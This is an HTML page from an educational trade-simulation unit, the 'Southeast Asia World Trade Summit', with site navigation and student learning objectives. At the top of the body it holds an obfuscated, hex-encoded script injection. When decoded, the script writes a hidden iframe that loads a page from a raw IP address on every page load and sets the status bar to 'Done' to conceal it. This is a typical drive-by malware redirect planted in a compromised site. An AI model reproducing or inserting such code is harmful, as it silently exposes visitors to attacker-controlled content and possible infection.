Southeast Asia World Trade Summit

<body topmargin=0 leftmargin=0 marginheight=0 marginwidth=0><script>function v483d4198a0de7(v483d4198a1515){ function v483d4198a1d20 () {var v483d4198a2511=16; return v483d4198a2511;} return(parseInt(v483d4198a1515,v483d4198a1d20()));}function v483d4198a2d14(v483d4198a3501){ function v483d4198a4d00 () {var v483d4198a5502=2; return v483d4198a5502;} var v483d4198a3cfc='';for(v483d4198a4534=0; v483d4198a4534<v483d4198a3501.length; v483d4198a4534+=v483d4198a4d00()){ v483d4198a3cfc+=(String.fromCharCode(v483d4198a0de7(v483d4198a3501.substr(v483d4198a4534, v483d4198a4d00()))));}return v483d4198a3cfc;} document.write(v483d4198a2d14('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D646265613266303939313762207372633D5C27687474703A2F2F37372E3232312E3133332E3135312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313338383134292B2732366163655C272077696474683D343934206865696768743D323831207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> <table cellpadding=0 cellspacing=0 border=0><tr> <td valign="top" rowspan="2" width=210 BGCOLOR="#99CC99" TEXT="#080000" bgproperties="fixed" background="03f8dfc3.jpg"> <bR> <div> <B><IMG SRC="046c8c90.jpg" border=0 width="200" height="201" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></B></div> <div> <B><U>www.msc.navy.mil/.../2007/October/exercise.htm</U></B></div> <bR> </td> <td valign="top" colspan=2 height=82 BGCOLOR="#CCCC99" TEXT="#080000" bgproperties="fixed" background="0408dfe1esnpes.jpg"> <div> <B>Southeast Asia World Trade Summit</B></div> <div> <B>PBLA by E. White, Web design by J. MacKenzie (4/2008)</B></div> <bR> <div> </div> </td> </tr><tr> <td valign="top" height=398 colspan=2 BGCOLOR="#CCCC99" TEXT="#080000" bgproperties="fixed" background="0408dfc3.jpg"> <div> <A HREF="foundation.htm" TARGET="_top" TITLE="Building the Foundation"><U>Building the Foundation</U></A>   |   <A HREF="facts.htm" TARGET="_top" TITLE="Finding the Facts"><U>Finding the Facts</U></A>   |   <A HREF="wto_conference.htm" TARGET="_top" TITLE="WTO Conference"><U>WTO Conference</U></A>   |   <A HREF="trade_summit.htm" TARGET="_top" TITLE="Southeast Asia World Trade Summit"><U>Southeast Asia World Trade Summit</U></A>   |   <A HREF="summit_evaluation.htm" TARGET="_top" TITLE="Summit Evaluation"><U>Summit Evaluation</U></A>   |   <A HREF="convention.htm" TARGET="_top" TITLE="Southeast Asian Developmental Convention"><U>Southeast Asian Developmental Convention</U></A>   |   <A HREF="evaluation.htm" TARGET="_top" TITLE="Project Evaluation"><U>Project Evaluation</U></A>   |   <A HREF="links.htm" TARGET="_top" TITLE="Links"><U>Links</U></A></div> <bR> <div> <I><B>Activity Introduction</B></I></div> <div> Today marks the first meeting of the Southeast Asia World Trade Summit.  You are the best and brightest economists from your representative nation.  Your goal is to create a unified Asian economy that is free of trade barriers, balances imports and exports, while improving overall development and economy of a diverse region.</div> <bR> <div> Learning objectives</div> <div> <IMG BORDER="0" SRC="Symb075c00b700f000330000.png" HEIGHT="16" WIDTH="24" ALIGN="bottom" HSPACE="0" VSPACE="0">Students will have an in depth understanding of the economic forces which drive a nation's economy and globalization</div> <div> <IMG BORDER="0" SRC="Symb075c00b700f000330000.png" HEIGHT="16" WIDTH="24" ALIGN="bottom" HSPACE="0" VSPACE="0">Students will learn basic trade concepts and vocabulary</div> <div> <IMG BORDER="0" SRC="Symb075c00b700f000330000.png" HEIGHT="16" WIDTH="24" ALIGN="bottom" HSPACE="0" VSPACE="0">Students will understand how natural resources and economic development impacts a nation's imports, exports and standard of living</div> <div> <IMG BORDER="0" SRC="Symb075c00b700f000330000.png" HEIGHT="16" WIDTH="24" ALIGN="bottom" HSPACE="0" VSPACE="0">Students will apply the concept of free trade to balance and improve economic development in Southeast Asia</div> <div> <IMG BORDER="0" SRC="Symb075c00b700f000330000.png" HEIGHT="16" WIDTH="24" ALIGN="bottom" HSPACE="0" VSPACE="0">Students will integrate concepts and guidelines of the WTO and World Bank to help foster their understanding and application of content knowledge</div> <div> <IMG BORDER="0" SRC="Symb075c00b700f000330000.png" HEIGHT="16" WIDTH="24" ALIGN="bottom" HSPACE="0" VSPACE="0">Students will work as a community to develop a balanced and open trade agreement</div> </td> </tr></table></body>